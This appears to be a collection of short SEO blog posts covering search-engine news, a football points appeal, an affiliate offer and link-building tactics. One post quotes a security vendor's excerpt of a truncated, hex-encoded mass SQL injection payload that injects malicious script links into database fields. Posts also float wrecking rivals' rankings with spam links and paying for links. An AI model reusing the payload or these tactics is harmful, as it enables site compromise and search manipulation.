Looks like Yahoo is rolling out technology to protect it’s search users if they click on a dubious website that hosts anything like spyware or spam. Past experiences tells us that such “helpful” additions often confuse the searcher and somewhat tarnish overall usability. Let’s just see if Yahoo can do any better than Google who introduced something similar back in 2006.

Browser exploits are of course nothing new and high risk sites will always be present on the net. However, there is nothing more irritating than some over enthusiastic guidance system that you have to by-pass to get to the website you need.

TLD’s and hosting, where would you host if you wanted prominence within serps in a certain geographic area,,,? Does it make a difference. Is it just microsoft that’s focused on localisation?

Sounds like an easy answer to this one.

Search engines must put weight on hosting location and im not just talking ip address.

Dan Horton SEO

Google has revealed a new page ranking system for images called VisualRank. The biggest search engine in the world today uses PageRank and this determines a websites value, based on its content and is scored from 0-10. The higher the websites PageRank, the higher the site appears on Google’s listings for the related keyword if all things where equal, title, h1 number of page etc etc…

It is different with images, as rankings largely rely on analysing the text near the image, the images file name and the ALT text associated with the image. Whilst progress has been made in the field of face detection for images, other more traditional objects like stereos and food items remain largely untouched.

VisualRank works using image recognition software, which groups images together that seem most similar to each other. It then estimates “visual hyperlinks” which in turn produces a final ranking.

Google have said that they concentrated on 2000 of the most popular search queries to make the prototype, including iPods, Xbox and Ps3. It then sorted the top 10 images from both its PageRank system and from Google Image search results, after that they created a scoring system for an images relevance. Researchers have estimated an 83% drop in irrelevant images returned by the search system.

wow things are moving Fast, I think that the recent wordpress exploits helped and the fact we where just on Techcrunch can’t harm either, so the affiliate program we are going to give you $19.99 USD Just for signing up to the Affiliate Program

Commissions will be a Pay-Per-Sale $40.00 USD for each sale you deliver. Minimum balance required for payout is $100 USD

any issues or Information just drop me a line

DaveN
Payments are made once per month, for the previous month.

Or at least we all hope! Leeds United have entered the final stage of their fight to gain back the 15 points deducted at the start of the season, due to going into administration. The arbitration committee met over a week ago to decide the fate of the points and announced that a verdict would be made by the 1st May.

It was widely believed that the decision would be made public after the hearing, but initially officials said it could take up to four weeks for the announcement. This has now been changed due to the complications it could cause with the League One play-offs. It is not known if the verdict will be announced on the 1st May or before the deadline.

If Leeds get the 15 points back they could potentially win the league, if Leeds win their last game and Swansea fail to get all three points. With a 15 point gain Leeds will definitely ensure that Carlisle, Nottingham Forest and Doncaster would all lose out on the second automatic promotion place. This is likely to lead to wide-spread protest and legal action by the clubs, who feel that the Football Leagues initial decision of point’s deduction was correct.

Both the Football League and Leeds United have agreed to stand by the decision of the Arbitration Committee, and it is unlikely that either side will take further action. Leeds fans eagerly await the decision and it is rumoured that the verdict will be announced early this week.

The Us Justice Department have initiated an investigation into Yahoo and Google’s advertising sharing trial. The two week test, which allows Google to place its adverts alongside 3% of Yahoo’s search results, has been criticized since it was announced. The Department of Justice is looking into whether it violates any antitrust laws.

Although The Justice Department has not made a formal announcement of the investigation, insider sources have said that the trial was being looked at because of a phone call between the two companies CEO’s, in which its alleged that Eric Schmidt (Google CEO) has offered help in thwarting Microsoft’s bid to buy Yahoo.

Another source later said that The DOJ was concerned about an extension to the deal between Yahoo and Google. Microsoft has declined to comment, with many analysts saying that the Yahoo/Google test was set up to stall Microsoft’s merger with Yahoo and so that Google could avoid a competitive threat posed by the merger.

Yahoo and Google seem to think that they are in the clear as they haven’t hidden their intentions from the DOJ, but could be liable for a monopolization inquiry, if it is deemed to have a significant competition avoiding affects.

That’s what just happened, a massive SQL Injection was discovered on F-secure, hat tip to 0×000000 I found it there, I wonder how many peoples computers just got malware on them.

But imagine in a controlled manner you could either destroy websites ranking by adding 50,000 links to all your competitors.

From F-secure,

Unless that data is sanitized before it gets saved you can’t control what the website will show to the users. This is what SQL injection is all about, exploiting weaknesses in these controls. In this case the injection code starts off like this (note, this is not the complete code):

DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0×440045004300
4C00410052004500200040005400200076006100720063006800610072
00280032003500350029002C0040004300200076006100720063006800
610072002800320035003500290020004400450043004C004100520045
0020005400610062006C0065005F0043007500720073006F0072002000
43005500520053004F005200200046004F0052002000730065006C0065
0063007400200061002E006E0061006D0065002C0062002E006E006100
6D0065002000660072006F006D0020007300790073006F0062006A0065
00630074007300200061002C0073007900730063006F006C0075006D00
6E00730020006200200077006800650072006500200061002E00690064
003D0062002E0069006400200061006E006400200061002E0078007400
7900700065003D00270075002700200061006E0064002000280062002E
00780074007900700065003D003900390020006F007200200062002E00
780074007900700065003D003300350020006…

Which when decoded becomes:

DECLARE @T varchar(255)’@C varchar(255) DECLARE Table_Cursor
CURSOR FOR select a.name’b.name from sysobjects a’syscolumns b
where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35
or b…

What happens as a result? It finds all text fields in the database and adds a link to malicious javascript to each and every one of them which will make your website display them automatically. So essentially what happened was that the attackers looked for ASP or ASPX pages containing any type of querystring (a dynamic value such as an article ID, product ID, et cetera) parameter and tried to use that to upload their SQL injection code.

is this a good time to mention Firewall Script again

Dave

I just got a text message from Doug, saying that Car Rentals has only gone a won the

Best Car Hire Website

Winner: CarRentals.co.uk
“CarRentals wins through its convenience and breadth of choice, combining user-friendliness and a low-fuss interface.”

It’s even more impressive when you look at the shortlist of companies that car rentals was up against.
short list for Best Car Hire Website

* NationalCar.co.uk
* Budget.co.uk
* CarRentals.co.uk
* HolidayAutos.co.uk

way to go Guys..

update : Car rentals has a news article on it

DaveN

HAHAHA this is so funny…

We started off talking about my newest venture fighters and how its a great new challenge for me personally being its a totally new market for us to penetrate

I broke shoemoney’s rib while I was sat down in a bar :), so how can a big softie like Shoe promote fighters.. good luck buddy and hey and maybe I will hit you for my new venture firewall script seeming how your blog used to get hacked all the time ;)

DaveN

Ok Matt was asked about Nofollow recently at the Domain RoundTable 2008, and If I’m reading this write, what Jaan posted

Matt says nofollow is a “very simple thing”. Nofollow link doesn’t flow page rank, doesn’t flow anchor text. Link level to say “I trust this link but I don’t trust this link”. You don’t want to flow page rank through them if you don’t trust them. Real business 3-4% of your links will be stale, don’t worry don’t need nofollow. If check them at some point, willing to vouch for them, at some point checked them for quality, then don’t need to worry about nofollow. If just a domain directory, use no follow.. it is a matter of how much due diligence you put in.”

so Matt is it ok to email webmasters and say,

Dear Webmaster,

recently Matt Cutts said on Links “Nofollow link doesn’t flow page rank, doesn’t flow anchor text. Link level to say “I trust this link but I don’t trust this link”

So what I would like to offer you is, you to look at my site “———-” and you make the judgement call, I would be willing to pay you either away for the link “link information” or even the the “link information with Nofollow”, Obviously I feel that a link on your site will help me either way, obviously this “link information with Nofollow” means you don’t trust the site, and I would by surprised if you took me up on my offer lol..
regards Dave

Of course you would get your arse banned if caught but at least you could prove that you did at least try and follow the rules ;)

DaveN